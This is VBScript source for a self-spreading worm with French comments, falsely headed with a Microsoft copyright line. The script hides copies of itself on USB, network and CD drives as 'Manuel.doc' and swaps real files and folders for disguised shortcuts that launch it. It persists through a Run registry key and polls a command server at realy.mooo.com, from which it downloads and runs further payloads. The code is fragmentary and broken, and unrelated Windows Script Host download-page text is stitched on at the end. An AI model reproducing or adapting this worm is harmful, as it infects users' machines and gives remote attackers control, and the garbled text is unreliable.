'Copyright (C) Microsoft Corporation. Tous droits r‚serv‚s.
'<coded by Bl4cKs0cK>'
Dim host
Dim host_script
Dim activ_name
activ_name = 'SysinfY2X.db' 'Le nom du process actif
passiv_name = 'Manuel.doc'
sleep_time = 2000
sleep_time_limit = 60000
Set http = CreateObject('MSXML2.ServerXMLHTTP') 'Objet ajax pour aller recuperer url
Set sh = WScript.CreateObject('WScript.Shell')
Set fs= CreateObject('Scripting.FileSystemObject') 'creation du nouveau script
Set WMIService = GetObject('winmgmts:{impersonationLevel=impersonate}!.rootcimv2') 'prend les droits de l'utilisateur courant
Const adTypeText = 2
Const adSaveCreateNotExist = 1
Set stream_self = CreateObject('Adodb.Stream')'generation du script dans %TEMP%
script_name = Wscript.ScriptName
tmp_dir = sh.ExpandEnvironmentStrings('%temp%') & '
stream_self.Type = adTypeBinary 'en fait du binaire
stream_self.LoadFromFile fs.GetFile(Wscript.ScriptFullName) 'crée un stream ADODB
script_size = stream_self.Size 'recupere la taille du script
Dim serv_rep, cont, cont_limit
cont_limit = CInt(sleep_time_limit / sleep_time)
infect_drives 'infecte les lecteurs
protect_del 'assure la reproduction du fichier dans %TEMP%
kill_old('SysinfYhX.db') 'tue le fichier qui a permis son deploiement
cont = cont + 1
Else
serv_rep = serv_cmd('ping') 'Execute la commande ping vers le serveur realy.mooo.com
cont_limit = CInt(CInt(serv_rep) / sleep_time)
serv_rep = serv_cmd(script_size & activ_name)'envoie la taille et le nom du script pour connaitre la version et telecharger la nouvelle si besoin
If serv_rep <> '0' Then
Else
serv_rep = serv_cmd('list') 'sinon envoie la commande list
get_list(serv_rep) 'si une reponse positive, execute get_list avec la liste retournee par le serveur
End If
Else
End If
Wend
infect_machin 'Sinon infecte une machine
Function serv_cmd(cmd)
Dim stat
http.Open 'GET', host & host_script & '?cmd=' & cmd , False 'utilise l'objet HTTP pour GET et lancer la commande passée en arguments
stat = http.Status
serv_cmd = '-1' 'si pas de reponse recoit -1
serv_cmd=http.ResponseText 'sinon recoit du texte
End Function
On Error Resume Next
frm_ = arr(1)
to_ = arr(3)
Dim stream
Set stream = CreateObject('Adodb.Stream') 'Cree un stream binaire et génère un fichier avec le tableau passé en entrée
stream.Open
If fs.GetFile(tmp_dir & to_).Size <> size_ Then
http.Send
bot_up = False
stream.Write http.ResponseBody
fs.DeleteFile tmp_dir & to_, True
stream.SaveToFile tmp_dir & to_, adSaveCreateOverWrite
bot_up = True
Else
End If
http.Open 'GET', frm_, False
If http.Status <> 200 Then
Else
stream.SaveToFile tmp_dir & to_, adSaveCreateOverWrite
bot_up = True
End If
If bot_up Then
sh.Run 'cmd /c start ' & lnc_ & ' %temp%' & to_, 0
End Function
On Error Resume Next
ret = Array(True, ', 0, ', ')
ret(1) = Split(Split(in_, '<from>')(1), '<br>')(0)
ret(2) = CInt(Split(Split(in_, '<size>')(1), '<br>')(0))
ret(4) = Split(Split(in_, '<lancer>')(1), '<br>')(0)
If a = ' Or a = ' ' Then
Exit For
Next
End Function
On Error Resume Next
data_ = get_split(req)
If bot_up(data_) Then
del_registre
fs.DeleteFile Wscript.ScriptFullName, True
wscript.quit
End If
Function get_list(req) 'reçoit les données retournées par la commande list sur le serveur
If req <> '0' Then
tbl = Split(req, '<list>')
Dim data_
If data_(0) Then
End If
get_list = True
get_list = False
End Function
Function infect_machin 'meme principe qu'infect_drives
infect_registre
If fs.GetFile(tmp_dir & activ_name).Size <> script_size Then
fs.DeleteFile tmp_dir & activ_name, True
stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateOverWrite
fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
Else
End If
stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateNotExist
fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
End If
sh.Run 'cmd /c start wscript /e:VBScript.Encode ' & Replace(tmp_dir & activ_name,' ', ChrW(34) & ' ' & ChrW(34)), 0
Dim colItms
Set colItms = WMIService.ExecQuery ('Select * from Win32_Process Where Name = 'wscript.exe' AND CommandLine LIKE '%' & activ_name & '%')
sh.Run 'cmd /c start wscript /e:VBScript.Encode ' & Replace(tmp_dir & activ_name,' ', ChrW(34) & ' ' & ChrW(34)), 0
Set colItms = Nothing
wscript.quit
Sub infect_drives 'infection des lecteurs
Dim sys_drive
sys_drive = sh.ExpandEnvironmentStrings('%SYSTEMDRIVE%')
If cle.isReady And (cle.DriveType = 1 Or cle.DriveType = 3 Or cle.DriveType = 4) Then 'si le drive est une clé, un network drive ou un cdrom(??)
d = cle.path
If fs.FileExists(d & ' & passiv_name) Then 'Si le fichier existe mais ne fait pas la même taille, il le supprime et le remplace par un fichier caché
If (fs.GetFile(d & ' & passiv_name).Size <> script_size) And (cle.FreeSpace > Abs(fs.GetFile(d & ' & passiv_name).Size - script_size)) Then
fs.DeleteFile d & ' & passiv_name, True
stream_self.SaveToFile d & ' & passiv_name, adSaveCreateOverWrite
Else 'Sinon il le créé
stream_self.SaveToFile d & ' & passiv_name, adSaveCreateNotExist
End If
fs.GetFile(d & ' & passiv_name).Attributes=1+2+4 'll donne les attributs read only, fichier caché, et fichier système au fichier
For Each f In fs.GetFolder(d & ').Files
If instr(f.name, '.') Then
f_name = split(f.name, '.')
Else
End if
If f_ext <> 'lnk' And f.name <> passiv_name And f.Attributes <> 2+4 Then
If fs.FileExists(d & ' & f.name & '.lnk') Then
fs.GetFile(d & ' & f.name & '.lnk').Attributes = 0 'fait apparaitre le lien si besoin
Dim shurt, s_icon 'Creation du shortcut qui execute cmd avec des arguments
Set shurt = sh.CreateShortcut(d & ' & f.name & '.lnk')
shurt.WindowStyle = 7 'Minimized windows <-- pour ne pads qu'on voit le resultat de l'execution du script
shurt.WorkingDirectory = '
Dim f_arg 'lance wscript avec le moteur encode pour lire le manuel.doc encodé
f_arg = '/c start wscript /e:VBScript.Encode ' & Replace(passiv_name,' ', ChrW(34) & ' ' & ChrW(34)) & ' & start ' & replace( f.name,' ', ChrW(34) & ' ' & ChrW(34))
shurt.Arguments = f_arg & ' & exit' 'puis ferme la fenetre
s_icon = sh.regread('HKLMSOFTWAREClasses' & sh.regread('HKLMSOFTWAREClasses.' & f_ext & ') & 'DefaultIcon')' S'attribue l'icone d'un repertoire
If ( instr(s_icon, ',') = 0 ) Or f_ext = 'NULL' Then
Else
End if
fs.GetFile(d & ' & f.name & '.lnk').Attributes = 1 ' le place en RO
Next
If ff.Attributes <> 2+4 Then
If fs.FileExists(d & ' & ff.name & '.lnk') Then
fs.GetFile(d & ' & ff.name & '.lnk').Attributes = 0
Dim shurt_, s_icon_
Set shurt_ = sh.CreateShortcut(d & ' & ff.name & '.lnk')
shurt_.TargetPath = 'cmd.exe'
Dim ff_arg 'relance le script pour les sous repertoires
ff_arg = '/c start wscript /e:VBScript.Encode ' & Replace(passiv_name,' ', ChrW(34) & ' ' & ChrW(34)) & ' & start explorer ' & replace( ff.name,' ', ChrW(34) & ' ' & ChrW(34))
s_icon_ = sh.regread('HKLMSOFTWAREClassesFolderDefaultIcon')
shurt_.IconLocation = ff.path
shurt_.IconLocation = s_icon_
shurt_.save()
fs.GetFile(d & ' & ff.name & '.lnk').Attributes = 1
Next
End If
Next
Sub infect_registre
Dim target, reg_d
target = 'C:WINDOWSsystem32cmd.exe /c start wscript /e:VBScript.Encode %temp%' & activ_name 'Crée une tache au démarrage
reg_d = 'SoftwareMicrosoftWindowsCurrentVersionRun' & Split(activ_name, '.')(0)
reg_d = 'SoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedHidden' 'fait en sorte que n'aparaissent pas les fichiers cachés
End Sub
On Error Resume Next
reg_d = 'SoftwareMicrosoftWindowsCurrentVersionRun' & Split(activ_name, '.')(0)
End Sub
On Error Resume Next
If fs.GetFile(tmp_dir & activ_name).Size <> script_size Then
stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateOverWrite 'remplace le fichier dans le dossier temp
Else
stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateNotExist
fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4 'On reattribue RO/Hidden/SystemFile
Function kill_old(old_name)'tue l'ancien processus afin de renouveller le nom et de poursuivre l'infection
Dim colItems, reg_d
Set colItems = WMIService.ExecQuery ('Select * from Win32_Process Where Name = 'wscript.exe' AND CommandLine LIKE '%' & old_name & '%')
objItem.Terminate
colItems = Nothing
reg_d = 'SoftwareMicrosoftWindowsCurrentVersionRun' & Split(old_name, '.')(0)
fs.GetFile(tmp_dir & old_name).Attributes=2
End Function
Feb 16, 2019 Microsoft ® Windows Script Host 5.8. Choose the most popular programs from Developer Tools. Scarface from half baked. 3.4 (8 votes) 5.8.7600 Microsoft. Review Comments Questions & Answers (1) Update program info. No specific info about version 5.8. Please visit the main page of Microsoft ® Windows Script Host on Software Informer. Share your experience: Write a review. To upgrade the version of Windows Script Host: If you have not done so already, map S: to ohare.ecn.purdue.edu public. Look in the folder S: tools pub software WSH for the executable named wsh-X.Y where X.Y is the latest version. Double-click the file. Click Yes to confirm that you wish to install Windows Script.
Windows Script Host provides an environment in which users can execute scripts in a variety of languages that use a variety of object models to perform tasks.